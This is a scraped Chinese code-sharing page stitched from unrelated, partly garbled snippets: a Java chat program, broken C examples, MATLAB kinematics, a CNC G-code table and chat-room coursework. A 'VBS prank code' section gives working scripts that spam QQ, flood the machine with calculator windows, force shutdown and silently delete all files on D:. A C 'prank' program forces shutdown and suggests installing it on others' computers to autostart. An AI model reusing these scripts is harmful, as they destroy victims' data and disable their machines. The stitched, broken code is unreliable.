聊天程序代码

聊天程序代码
聊天程序代码

/*

* TalkProgram.java

*

/**

*

* @author

*/

import java.awt.*;

import java.awt.event.*;

import java.util.*;

import java.io.*;

import https://www.360docs.net/doc/6911452608.html,.*;

import javax.swing.*;

import java.util.zip.*;

class Dgram {

public static DatagramPacket toDatagram(String s, InetAddress destIA,

int destPort) {

byte buf[]=s.trim().getBytes();

//byte[] buf = new byte[s.length()];

//s.getBytes(0, s.length(), buf, 0);

//构造数据报包,用来将长度为length 的包发送到指定主机上的指定端口号。

return new DatagramPacket(buf, buf.length, destIA, destPort);

}

public static String toString(DatagramPacket p) {

return new String(p.getData(), 0, p.getLength());

}

}

/*--------------------------------------定义常用变量接口---------------------------------------*/ interface MyValue {

int WEIGHT1 = 20;

int WEIGHT2 = 10;

int WEIGHT3 = 30;

int HEIGHT1 = 30;

int LOCA TION = 200;

int ININWEIGHT = 200;

String s1 = "发送";

String s2 = "消息:";

String s3 = "聊天小程序";

String s4 = "文件";

String s5 = "保存聊天信息";

String s6= "读取聊天信息";

String s7="对方IP";

String s8="帮助";

String s9="帮助文档";

String s10="编辑";

String s11="删除记录";

String s12="查找记录";

String s13="传文件";

String s14="关闭";

String s15="Connect";

String user="对方";

String s16="Port";

String s17="共可输入20个字符";

String s18="在线人员列表";

String ip="127.0.0.1";

int INITHEIGHT = 200;

}

/*========================================核心程序================================================*/

public class TalkProgram extends Frame implements MyValue{

private Button b1 = null;

private Button b2 = null;

private Button b3 = null;

private Button b4 = null;

private TextField t1 = null;

private TextField t2 = null;

private TextField t3 = null;

private TextArea ta1 = null;

private TextArea ta2 = null;

private Panel p1 = null;

private Panel p2 = null;

private Label l1 = null;

private Label l2 = null;

private Label l3 = null;

private Label l4 = null;

public DatagramSocket socket=null;//声明datagramsocket套接字,随机绑定一个有效的端口;

int SERVERPORT=8080;//默认端口为:8080

public static String serverIP="127.0.0.1";//默认为本机

public static int PORT;//对话框输入对方的服务器的端口号

public String port1;//自己方服务器的端口

public TalkProgram()

{//构造函数

super(s3);

/*------------------------ 初始化所有需要的部件------------------------------------*/ t1 = new TextField("", WEIGHT1);

t2 = new TextField("", WEIGHT3);

t1.addKeyListener(new stringlLeft());

t3 = new TextField("", WEIGHT2/2);

ta1 = new TextArea(WEIGHT2, HEIGHT1);

ta2 = new TextArea(WEIGHT2, HEIGHT1);

b1 = new Button(s1);

b2=new Button(s13);

b2.addActionListener(new send());

b3=new Button(s14);

b4=new Button(s15);

b4.addActionListener(new connect());

p1 = new Panel();

p2 = new Panel();

l1 = new Label(s2);

l2 = new Label(s7);

l3 = new Label(s16);

l4 = new Label(s17);

p1.setLayout(new FlowLayout());

p1.add(l1);

p1.add(t1);

p1.add(l4);

p1.add(b1);

b1.addActionListener(new SendMessage ());

p1.add(b2);

p1.add(b3);

b3.addActionListener(new closeConnect());

p2.setLayout(new FlowLayout());

p2.add(l3);

p2.add(t3);

p2.add(l2);

p2.add(t2);

p2.add(b4);

/*------------------------------下面是关于菜单部分-------------------------------------*/

MenuBar mb = new MenuBar();

Menu m1 = new Menu(s4);

Menu m2= new Menu(s10);

Menu m3 = new Menu(s8);

MenuItem mi1 = new MenuItem(s5,new MenuShortcut(KeyEvent.VK_S));

MenuItem mi2 = new MenuItem(s6,new MenuShortcut(KeyEvent.VK_O));

MenuItem mi3 = new MenuItem(s11,new MenuShortcut(KeyEvent.VK_X));

MenuItem mi4 = new MenuItem(s9,new MenuShortcut(KeyEvent.VK_H));

MenuItem mi5 = new MenuItem(s12,new MenuShortcut(KeyEvent.VK_F)); m1.add(mi1);

m1.addSeparator();

m1.add(mi2);

m2.add(mi3);

m2.addSeparator();

m2.add(mi5);

m3.add(mi4);

mi1.addActionListener(new SaveMenuItem());

mi2.addActionListener(new ReadMenuItem());

mi3.addActionListener(new deleteContent());

mi4.addActionListener(new showHelp());

mb.add(m1);

mb.add(m2);

mb.add(m3);

port1 = JOptionPane.showInputDialog(null,"服务器端口","端口号:" + "",JOptionPane.QUESTION_MESSAGE);

System.out.println("server port is "+port1);

SERVERPORT=getPort(port1);

System.out.println("server port is "+SERVERPORT);

this.setMenuBar(mb);

/* -------------------------组合各个部件和相互的关系----------------------------*/

this.setLayout(new BorderLayout(5, 5));

this.add(p2,BorderLayout.NORTH);

this.add(ta1, BorderLayout.WEST);

this.add(ta2, BorderLayout.EAST);

this.add(p1, BorderLayout.SOUTH);

this.pack();//简单整理一下部件布局

this.setLocation(LOCA TION, LOCA TION);

this.setVisible(true);

/*----------------------------关闭窗口------------------------------------------------*/

this.addWindowListener(new WindowAdapter()

{

public void windowClosing(WindowEvent e)

{

System.exit(0);

}

}

);

/* -------------------------------------------启动server监听端口是否有人连接----------- -----------------------------------------*/

receiveMessage waitMessage=new receiveMessage();//启动server线程监听是否有人连接

Thread td1=new Thread(waitMessage);

td1.start();

receiveFile waitFile=new receiveFile();

Thread td2=new Thread(waitFile);

td2.start();

}//构造函数结束

public String getIP()

{

String ip=t2.getText();

return ip;

}

public int getPort(String s)

{

if(s!="")

{

int s1=Integer.parseInt(s);

return s1;

}else return SERVERPORT;

}

/*-----------------------------delete chat content-----------------------------------------------------*/ class deleteContent implements ActionListener{

public void actionPerformed(ActionEvent e){

ta1.setText(null);

}

}

/*--------------------------------------showhelp--------------------------------------------------*/ class showHelp implements ActionListener{

public void actionPerformed(ActionEvent e){

JOptionPane.showMessageDialog(null,"该作品制作人:谷灵康\n\n感谢大家对本产品的支持!");

}

}

/*-----------------save chat content-----------------------------*/

class SaveMenuItem implements ActionListener{//save chat message

public void actionPerformed(ActionEvent e)//保存信息

{

FileOutputStream out;

PrintStream p; //声明一个Print Stream流

try {

out = new FileOutputStream("chatlog.txt",true);

p = new PrintStream( out );

p.println (ta1.getText());//方法println(),它将一个字符串发送给输出流。

p.close();

} catch (Exception e1) {

System.err.println ("Error writing to file");

}

}

}

/*-------------------read chat content--------------------------*/

class ReadMenuItem implements ActionListener{//read chat message

public void actionPerformed(ActionEvent e){//读取信息

//定义一个byte数组用于接收从文件中读出的字节,注意它的长度为1024

byte[] buff = new byte[1024];

int n;

FileInputStream fis = null;

// 生成对象infile 准备读取文件

try

{

File f=new File("chatlog.txt");

fis=new FileInputStream(f);

// 从文件读取数据

while((n = fis.read(buff,0,1024))!=-1)

{

String s=new String(buff,0,n);

ta1.append(s);

fis.close();

}

}

catch (FileNotFoundException e1)

{

System.out.println("没有找到文件");

System.exit(1);

}

catch (IOException e2)

{

System.out.println("");

}

//清理

finally

{

try

{

fis.close();

}

catch (IOException e3)

{

System.out.println("文件错误");

System.exit(1);

}

}

}

}

/*------------------------------------connect to server--------------------------------------------------*/ class connect implements ActionListener

{

public void actionPerformed(ActionEvent e)

{//发送消息的实现

try {

serverIP=getIP();

PORT=getPort(t3.getText());

socket = new DatagramSocket();//建立对象

ta1.append("connect successfully\n\n");

ta2.append(s18+":\n谷灵康\n");

System.out.println("connect successfully");

}

catch (SocketException e1) {

System.err.println("Can't open socket");

System.exit(1);

}

}

}

/*--------------------------------------client:send message --------------------------------------*/

class SendMessage extends connect implements ActionListener

{

//发送消息的实现

public void actionPerformed(ActionEvent e){

try {

//构造数据报包,用来将包发送到指定主机上的指定端口号。

System.out.println("Ip="+serverIP);

System.out.println("Port="+PORT);

DatagramPacket echo = Dgram.toDatagram(t1.getText(), InetAddress.getByName(serverIP), PORT);

System.out.println("send message is used!");

socket.send(echo);//传送数据包

String s = Dgram.toString(echo);

//时间的显示

Calendar calendar=Calendar.getInstance();

int hour=calendar.get(Calendar.HOUR_OF_DAY);

int minute=calendar.get(Calendar.MINUTE);

int second=calendar.get(Calendar.SECOND);

ta1.append("谷灵康:"+hour+":"+minute+":"+second+""+"\n"+s+"\n"+"\n");

//System.err.println("Send OK");

} catch (IOException e1) {

System.err.println("Communication error");

e1.printStackTrace();

}

t1.setText(null);

}

}

/*---------------------------------------close connection------------------------------------------*/ class closeConnect extends connect implements ActionListener//close connect

{

public void actionPerformed(ActionEvent e)

{

ta1.append("connect is closed");

socket.close();

}

}

/*------------------------------------server:receive message ----------------------------------------*/ class receiveMessage implements Runnable {

private byte[] buf = new byte[1000];//存放接受信息数组

private DatagramPacket dp = new DatagramPacket(buf, buf.length);// 构造DatagramPacket,用来接收长度为length 的数据包。

private DatagramSocket socket;//DatagramSocket套接字

String date;

public void run() {//有机会在虚拟cpu上执行的代码

try {

socket = new DatagramSocket(SERVERPORT);

System.out.println("Server started");

while (true) {

socket.receive(dp);//阻塞等待连接,和client建立数据链路

String rcvd = Dgram.toString(dp);//将接收的包转化为字符串

//时间的显示

Calendar calendar=Calendar.getInstance();

int hour=calendar.get(Calendar.HOUR_OF_DAY);

int minute=calendar.get(Calendar.MINUTE);

int second=calendar.get(Calendar.SECOND);

System.out.println("data=" + rcvd );

ta1.append(user+":"+hour+"时"+minute+"分"+second+"秒:"+"\n"+rcvd+"\n"+"\n");

}

} catch (SocketException e) {//异常处理

System.err.println("Can't open socket");

System.exit(1);

} catch (IOException e) {

System.err.println("Communication error");

e.printStackTrace();

}

}

}

/*--------------------------------------server:receive file---------------------------------------*/ class receiveFile implements Runnable {

//static final int INPORT1 = 8888;//端口号

public void run() {

try{

ServerSocket server;

server = new ServerSocket(SERVERPORT);

//创建绑定到特定端口的服务器套接字。

Socket sock;//创建一个Socket对象。服务器端便可以利用这个Socket 对象与客户进行通讯。

while(true){

sock = server.accept();//侦听并接受到此套接字的连接

InetAddress addr = sock.getInetAddress();//返回套接字连接的地址。

System.out.println(addr.getHostAddress());

//使用指定的基础InputStream 创建一个DataInputStream。

DataInputStream infilename =

new DataInputStream(sock.getInputStream());

//从流infilename中读取用UTF-8 修改版格式编码的Unicode 字符格式的字符串;然后以String 形式返回此字符串。

String filename = new String(infilename.readUTF());

System.out.println("filename="+filename);

ta1.append("File"+filename+" is from"+addr.getHostAddress()+"\n");

File file = new File("C:"+filename);//创建一个File实例

//当且仅当不存在具有此抽象路径名指定的名称的文件时,原子地创建由此抽象路径名指定的一个新的空文件。

file.createNewFile();

//创建从中读取和向其中写入(可选)的随机存取文件流,该文件由File 参数指定。

RandomAccessFile raf = new RandomAccessFile(file,"rw");

InputStream netIn= sock.getInputStream();//返回此套接字的输入流。

//BufferedInputStream(netIn),创建BufferedInputStream 并保存其参数,以便将来使用。

DataInputStream in =

new DataInputStream(new BufferedInputStream(netIn));

byte[] buf = new byte[2048];

//从所包含的输入流中读取一定数量的字节,并将它们存储到缓冲区数组buf 中。

int num = in.read(buf);

if(num!=(-1))ta1.append("File is sending...\n");

while(num != (-1))//是否读完所有数据

{

//将num 个字节从指定字节数组写入到此文件,并从偏移量0处开始。

raf.write(buf,0,num);//将数据写往文件

//尝试跳过输入的num 个字节以丢弃跳过的字节。

raf.skipBytes(num);//顺序写文件字节

num=in.read(buf);//继续读取文件

}

if(num==(-1))ta1.append("The file has been saved to C disk"+"\n");

in.close();

raf.close();

}

}catch (Exception e){

System.out.println("receive error!");

}

}

}

/*-------------------------------client:send file--------------------------------------------*/ class sendFile implements Runnable

{

public void run()

{

JFileChooser fc = new JFileChooser();

int return_value = fc.showOpenDialog(b2);

if(return_value == JFileChooser.APPROVE_OPTION)

{

File file = fc.getSelectedFile();

try{

PORT=getPort(t3.getText());

serverIP=getIP();

//通过打开一个到实际文件的连接来创建一个FileInputStream,该文件通过文件系统中的File 对象file 指定。

FileInputStream fos = new FileInputStream(file);

Socket socket = new Socket(serverIP,PORT);//创建连接到指定服务器的套接字

socket.setSoTimeout(20);

DataOutputStream out = new DataOutputStream(socket.getOutputStream());

out.writeUTF(file.getName());//以与机器无关方式使用UTF-8 修改版编码将一个字符串写入基础输出流。

ta1.append("File "+file.getName()+" begins to send!\n");

OutputStream netOut = socket.getOutputStream();

//BufferedOutputStream,该类实现缓冲的输出流。通过设置这种输出流,应用程序就可以将各个字节写入基础输出流中,而不必为每次字节写入调用基础系统。

OutputStream doc = new DataOutputStream(new BufferedOutputStream(netOut));

byte[] buf = new byte[2048];

//从此输入流中将最多buf.length 个字节的数据读入一个字节数组中。

int num = fos.read(buf);

if(num != (-1))ta1.append("File is sending...\n");

while(num != (-1))//是否读完文件

{

doc.write(buf,0,num);//将指定字节数组中从偏移量0 开始的num 个字节写入基础输出流。

doc.flush();//清空此数据输出流。

num=fos.read(buf);//继续从文件中读取数据

}

if(num == (-1))ta1.append("The file sending is over.\n");

fos.close();

netOut.close();

Thread.sleep(500);

}

catch(Exception ex)

{

}

}

}

}

class send implements ActionListener

{

public void actionPerformed(ActionEvent e){

try{

sendFile send=new sendFile();//启动server线程监听是否有人连接

Thread td=new Thread(send);

td.start();

}catch(Exception e1)

{

System.out.println(" sendfile thread is error!");

}

}

}

/*------------------------------------------------------------------------------------------------------*/ class stringlLeft implements KeyListener

{

String str,str1,str2;

public void keyReleased(KeyEvent e)

{

int n=20-t1.getText().length();

if(n>=0)

{

str=String.valueOf(n);

l4.setText("还可输入"+str+"个字符");

str1=t1.getText();

System.out.println(str1);

}

else

{

t1.setText(str1);

}

}

public void keyPressed(KeyEvent e1)

{

}

public void keyTyped(KeyEvent e){

}

}

/*------------------------------Creates a new instance of TalkProgram ---------------------------------*/ public static void main(String args[]) {

new TalkProgram();

}

}

C程序代码大全

//根据半径计算圆的周长和面积#include const float PI=3.1416; //声明常量(只读变量)PI为3.1416 float fCir_L(float); //声明自定义函数fCir_L()的原型 float fCir_S(float); //声明自定义函数fCir_S()的原型 //以下是main()函数 main() { float r,l,s; //声明3个变量 cout<<"r="; //显示字符串 cin>>r; //键盘输入 l=fCir_L(r); //计算圆的周长,赋值给变量l s=fCir_S(r); //计算圆的面积,赋值给变量s cout<<"l="<

C程序代码大全

C程序代码大全 This manuscript was revised on November 28, 2020

<=70) cout<<"Your grade is a C."<=60) cout<<"Your grade is a D."< main() { int n; cout<<"n="; cin>>n; if (n>=0 && n<=100 &&n%2==0) cout<<"n="< main() { int a,b,Max; .10 for(int i=1;i<=10;i++) cout<=1;j--) cout<

机器人逆解MATLAB程序代码

function nijiede a2=431.8; a3=20.32; d2=149.09; d4=433.07; nx=0;ny=0;nz=1; ax=0;ay=1;az=0; px=-149.09;py=864.87;pz=20.32; t1=[(atan2(py,px)-atan2(d2,sqrt(px^2+py^2-d2^2))),(atan2(py,px)-atan2(d 2,-sqrt(px^2+py^2-d2^2)))]; k=(px^2+py^2+pz^2-a2^2-a3^2-d2^2-d4^2)/(2*a2); k1=atan2(a3,d4); t3=[(k1-atan2(k,sqrt(a3^2+d4^2-k^2))),(k1-atan2(k,-sqrt(a3^2+d4^2-k^2)) )]; for i=1:2; for j=1:2; t2=atan2(-(a3+a2*cos(t3(j)))*pz+(cos(t1(i))*px+sin(t1(i))*py)*(a2*sin(t 3(j))-d4),... (-d4+a2*sin(t3(j)))*pz+(cos(t1(i))*px+sin(t1(i))*py)*(a2*cos(t3(j))+a3) )-t3(j); for n=1:2; t4=atan2((-1)^(n+1)*(-ax*sin(t1(i))+ay*cos(t1(i))),(-1)^(n+1)*(-ax*cos( t1(i))*cos(t2+t3(j))-ay*sin(t1(i))*cos(t2+t3(j))+az*sin(t2+t3(j)))); s5=-ax*(cos(t1(i))*cos(t2+t3(j))*cos(t4)+sin(t1(i))*sin(t4))... -ay*(sin(t1(i))*cos(t2+t3(j))*cos(t4)-cos(t1(i))*sin(t4))... +az*(sin(t2+t3(j))*cos(t4)); c5=ax*(-cos(t1(i))*sin(t2+t3(j)))+ay*(-sin(t1(i))*sin(t2+t3(j)))+az*(-c os(t2+t3(j))); t5=atan2(s5,c5); s6=-nx*(cos(t1(i))*cos(t2+t3(j))*sin(t4)-sin(t1(i))*cos(t4))... -ny*(sin(t1(i))*cos(t2+t3(j))*sin(t4)+cos(t1(i))*cos(t4))+nz*(sin(t2+t3 (j))*sin(t4)); c6=nx*((cos(t1(i))*cos(t2+t3(j))*cos(t4)+sin(t1(i))*sin(t4))*cos(t5)-co s(t1(i))*sin(t2+t3(j))*sin(t5))... +ny*((sin(t1(i))*cos(t2+t3(j))*cos(t4)-cos(t1(i))*sin(t4))*cos(t5)-sin( t1(i))*sin(t2+t3(j))*sin(t5))... -nz*(sin(t2+t3(j))*cos(t4)*cos(t5)+cos(t2+t3(j))*sin(t5)); t6=atan2(s6,c6); %t2=round(t2*180/pi) t=round([t1(i),t2,t3(j),t4,t5,t6]*180/pi); %disp(t); if(t(1)>-160)&&(t(1)<160)&&(t(2)>-225)&&(t(2)<45)&&(t(3)>-225)&&(t(3)<4 5)&&(t(4)>-110)&&(t(4)<170)&&(t(5)>-100)&&(t(5)<100)&&(t(6)>-266)&&(t(6 )<266) if

JAVA代码编写一简单网络聊天程序

要求:聊天室服务器、聊天室客户端;客户端之间可以聊天。 因为我是初级选手,想借此程序分析学习java,所以代码最好多一点注释... 分数有限,望大家不吝赐教!!问题补充: 需要图形用户界面哦,最好用swing组件 服务器端:采用多线程,可以向客户广播:当前聊天室人数,客户名称列表,客户进入离开提示; 客户端:可以设定昵称,性别,客户间可以私聊 服务器端: import java.awt.*; import java.awt.event.*; import javax.swing.*; import java.io.*; import https://www.360docs.net/doc/6911452608.html,.*; public class Server extends JFrame implements ActionListener{ JPanel contentPane; JLabel jLabel2 = new JLabel(); JTextField jTextField2 = new JTextField("4700"); JButton jButton1 = new JButton(); JLabel jLabel3 = new JLabel(); JTextField jTextField3 = new JTextField(); JButton jButton2 = new JButton(); JScrollPane jScrollPane1 = new JScrollPane(); JTextArea jTextArea1 = new JTextArea(); ServerSocket server = null; Socket socket = null;BufferedReader instr =null;PrintWriter os=null ; //Construct the frame public Server() { jbInit(); } class MyThread extends Thread{//该线程负责接受数据 public void run(){ try{ while(true){ this.sleep(100); instr= new BufferedReader(new InputStreamReader(socket.getInputStream())); if(instr.ready()){ //检查是否有数据 jTextArea1.append("客户端: "+instr.readLine()+"\n"); } } }catch(Exception ex){} }

数控编程G、M、T、S代码大全(精选.)

数控机床标准G、M代码 一.准备功能字G 准备功能字是使数控机床建立起某种加工方式的指令,如插补、刀具补偿、固定循环等。G功能字由地址符G和其后的两位数字组成,从G00—G99共100种功能。JB3208-83标准中规定如下表: 代码功能 作用范 围 功能 代码 功能作用范围功能 G00 点定位 G50 * 刀具偏置0/- G01 直线插补 G51 * 刀具偏置+/0 G02 顺时针圆弧插补 G52 * 刀具偏置-/0 G03 逆时针圆弧插补 G53 直线偏移注销 G04 * 暂停 G54 直线偏移 X G05 * 不指定 G55 直线偏移Y G06 抛物线插补 G56 直线偏移Z G07 * 不指 定 G57 直线偏移XY G08 * 加速 G58 直线偏移XZ G09 * 减速 G59 直线偏移YZ G10-G16 * 不指定 G60 准确定位(精) G17 XY平面选 择 G61 准确定位(中) G18 ZX平面选择 G62 准确定位(粗) G19 YZ平面选择 G63 * 该丝 G20-G32 * 不指定 G64-G67 * 不指定 G33 螺纹切削,等螺距 G68 * 刀具偏置,内角 G34 螺纹切削,增螺距 G69 * 刀具偏置,外角 G35 螺纹切削,减螺距 G70-G79 * 不指定 G36-G39 * 不指定 G80 固定循环注销 G40 刀具补偿/刀具偏置 注销 G81-G89 固定循环 G41 刀具补偿--左 G90 绝对尺寸 G42 刀具补偿-- 右 G91 增量尺寸 G43 * 刀具偏置--正 G92 * 预置寄存 G44 * 刀具偏置--右 G93 进给率,时间倒数 G45 * 刀具偏置+/+ G94 每分钟进给 G46 * 刀具偏置+/- G95 主轴每转进给 G47 * 刀具偏置-/- G96 恒线速 度 G48 * 刀具偏置-/+ G97 每分钟转数(主轴) G49 * 刀具偏置0/+ G98-G99 * 不指定 注:*表示如作特殊用途,必须在程序格式中说明二.辅助功能字M

vbs整人代码大集合 多年的代码收集

vbs整人代码大集合,收集的比较全,喜欢的朋友可以参考下。不要搞破坏,学习vbs的朋友非常有帮助,死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> 复制代码代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 ------------------------------------------------------------------------------ do msgbox "Y ou are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器,直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Java源代码___聊天室

Java 聊 天 室 制作人:_____杨永生_____ 制作时间:2012.9.26 目录 1本文简介 (2) 2聊天室截图与说明 (2) 2.1用Java编译: (2) 2.2服务器登录界面 (2) 2.3服务器窗口 (2) 2.4客服端登录界面 (3) 2.5客服端窗口 (3) 3服务器端 (6) 3.1MyServer()方法 (6) 3.2Login()方法 (10) 3.3Time()方法 (13) 4客户端 (14) 4.1MyClient()方法 (14) 4.2Login()方法 (18) 4.3Time()方法 (20)

1 本文简介 这是一个简单的Java聊天室,仅提供给一些刚学Java的学生做实验,本文也是仅供参考. 本文代码都有注释,希望读者能读懂代码,本实验内部还有一些错误,比如只能一条一条的发信息,不能连发,希望能解决本问题的朋友能给我发信息,我的QQ号就是百度号! 2 聊天室截图与说明 2.1 用Java编译: 本代码有七个类,放在六个java文件中,类名在下方希望读者自己观看, 2.2 服务器登录界面 要先运行服务器端的程序 用户名:y 密码:1 用户名密码可以自己设定点击确定可以登录,2秒后到服务端界面 2.3 服务器窗口

聊天室的IP为本机的网络虚拟IP,在任何电脑上都能用,端口应设置在1024以后, 2.4 客服端登录界面 和服务器端的登录一样 2.5 客服端窗口

当登录上后客服端就显示已经连接了,此时服务器端的窗口如下

由于本程序设计的不是很完整,具体的聊天要先从客服端开始: 在客服端输入一条聊天内容后按确定,在服务器端就可以收到信息,之后客户端不能输入了,要等待服务器端来信息后才能继续输入信息. 想要结束聊天,直接可以关闭窗口,也可以输入’bye’后断开聊天

C语言代码大全

------------------------------------------------------------------------摘自宋鲁生程序设计大赛 乘法口诀表 #include #include void main(void) { int i,j,x,y; clrscr(); printf("\n\n * * * 乘法口诀表* * * \n\n"); x=9; y=5; for(i=1;i<=9;i++) { gotoxy(x,y); printf("%2d ",i); x+=3; } x=7; y=6; for(i=1;i<=9;i++) { gotoxy(x,y); printf("%2d ",i); y++; } x=9; y= 6; for(i=1;i<=9;i++) { for(j=1;j<=9;j++) { gotoxy(x,y); printf("%2d ",i*j); y++; } y-=9; x+=3; } printf("\n\n"); }

用一维数组统计学生成绩 #include void main() { char SelectKey,CreditMoney,DebitMoney; while(1) { do{ clrscr(); puts("========================="); puts("| Please select key: |"); puts("| 1. Quary |"); puts("| 2. Credit |"); puts("| 3. Debit |"); puts("| 4. Return |"); puts("========================="); SelectKey = getch(); }while( SelectKey!='1' && SelectKey!='2' && SelectKey!='3' && SelectKey!='4' ); switch(SelectKey) { case '1': clrscr(); puts("================================"); puts("| Your balance is $1000. |"); puts("| Press any key to return... |"); puts("================================"); getch(); break; case '2': do{ clrscr(); puts("=================================="); puts("| Please select Credit money: |"); puts("| 1. $50 |"); puts("| 2. $100 |"); puts("| 3. Return |"); puts("=================================="); CreditMoney = getch(); }while( CreditMoney!='1' && CreditMoney!='2' && CreditMoney!='3' ); switch(CreditMoney)

c语言整人代码

C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序,可以设置多长时间后将自动关机。当然马上关机也是可以的,我们就可以恶搞别人计算机了(你事先得知道怎么解),将写好的自动关机程序复制到别人电脑,然后将可执行的 文件设为开机自动启动,别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序(这是很容易的),后果你一定能想到了吧~还可以改进一下,就是每次开机的时候让用户输入“我是猪”,不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩,比如“我爱你”、“我爱×××”之类,你觉得会有严重后果的就不要玩哦、 好啦,就说到这里,下面送上这两个程序的源代码。一个是自动关机程序,很简单,另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1: #include #include int main(void)

{ system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了,自己人不整自己人~ 源程序2: #include #include void main() { int i=0; char s[30]="dsad"; system("title 逗你玩"); system("mode con cols=48 lines=25"); system("color"); system("color FC"); system("shutdown -f -s -t 60 -c ""你是猪,哈哈,就输入“我是猪”这三个字嘛~"""); printf("哈哈,你是猪~~你的计算机马上就要自动关闭,除非你输入你是猪~~说的就是你,把这个窗口关掉也没有用哦~~\n"); printf("输入:"); while(strcmp(s,"我是猪")) { gets(s); if(strcmp(s,"我是猪")==0) { system("shutdown -a"); } system("cls"); i++; switch(i%3) { case 0: printf("不肯承认就要关机啦,哈哈~~很简单,输入你是猪嘛~~\n"); break; case 1: printf("你是猪你是猪你是猪你是猪,你是猪,要保存的东西快保存哦~\n"); break;

java版基于UDP协议网上聊天程序课程设计

湖南工业大学 课程设计 资料袋 计算机与通信学院学院(系、部)2013 ~ 2014 学年第 1 学期课程名称网络协议分析指导教师李建设职称副教授 学生姓名专业班级网络工程学号 题目基于UDP协议网上聊天程序 成绩起止日期2013 年11 月25 日~2013 年12 月13 日 目录清单

5 6 课程设计任务书 2013 —2014学年第1 学期 学院(系、部)计算机与通信学院专业网络工程班级102 课程名称:网络工程学生姓名: 设计题目:基于UDP协议网上聊天程序指导教师:李建设 完成期限:自2013 年11 月25 日至2013 年12 月13 日共 3 周 容 及 任 务 一、设计内容 实现一个基于UDP协议的简单的聊天程序,包括服务器和客户端。 1.支持多人聊天。 2.客户端具有图形化用户界面。 二、设计任务 课程设计说明书(纸质+电子版),内容包括:设计内容、系统分析(包括可行性分析、需求分析等)及功能分析;系统设计(要求画出系统整体功能框图、流程图、并给出相应地关键的代码且对所使用的主要数据结构进行说明等。)、设计总结(评价/遇到的问题/体会/建议等)、使用说明等。 三、设计要求 1.按功能要求开发系统,能正确运行。程序代码书写规范,有充足的注释。 2.课程设计所使用的编程语言任选,但建议使用C或C++; 3.绿色软件:程序运行不需安装,避免写系统和注册表; 进 度 安 排 起止日期工作内容 2013-11-25~2013-11-3 选题 2013-12-1~2013-12-3 系统分析和设计; 2013-12-4~2013-12-8 熟悉软件开发工具、编码系统、系统测试 2013-12-9~2013-12-13 撰写并提交课程设计说明书(含电子文档)、源程序等。

C 经典程序代码大全

C 经典程序代码大全 #include const float PI= 3.1416; //声明常量(只读变量)PI为 3.1416 float fCir_L(float); //声明自定义函数fCir_L()的原型 float fCir_S(float); //声明自定义函数fCir_S()的原型 //以下是main()函数 main() { float r,l,s; //声明3个变量 cout>r; //键盘输入 l=fCir_L(r); //计算圆的周长,赋值给变量l s=fCir_S(r); //计算圆的面积,赋值给变量s cout=0.0) //如果参数大于0,则计算圆的周长 z=2*PI*x; return(z); //返回函数值 } //定义计算圆的面积的函数fCir_S() float fCir_S(float x) { float z=- 1.0; //声明局部变量 if (x>=0.0) //如果参数大于0,则计算圆的面积 z=PI*x*x; return(z); //返回函数值 } /* Program: P1- 2.CPP Written by: Hap Date written: 02:11:10 */ #include void main(void) { double s1,s2,s3; s1= 1.5; /* 对变量s1赋值*/ cout main() { double r=

1.0; cout>r; //键盘输入 l=2* 3.1416*r; //计算圆的周长,赋值给变量l cout //包含iostream.h头文件 void main() { //输出字符常量.变量和字符串 char c1= A ; cout //包含iostream.h头文件 main() { //输入输出字符 char c; cin>>c; cout>n; cout>x; cout>n; cout>c>>n>>x; cout //包含iostream.h头文件 main() { //声明整型变量 int a,b; //从键盘上为整型变量赋值cout>a; cout>b; //整型数的算术运算 cout //包含iostream.h 头文件 main() { //声明变量,并初始化 int a=010,b=10,c=0X10; //以进制形式显示数据 cout>a; cout>b; cout>c; cout //包含iostream.h头文件 #include // iomanip.h头文件包含setprecision()的定义 main() { //float型变量的声明.输入.计算和输出 float fx,fy; cout>fx; cout>fy; cout>dx; cout>dy; cout //包含iostream.h 头文件 main() { //字符类型变量的声明 char c1= A ; char c2; //字符数据的运算及输出 c2=c1+32; cout>c1>>c2; cout //包含iostream.h头文件 main() { char c1= \a ,TAB= \t ; //阵铃一声 cout //包含iostream.h头文件 main()

最新ABB机器人的程序编程

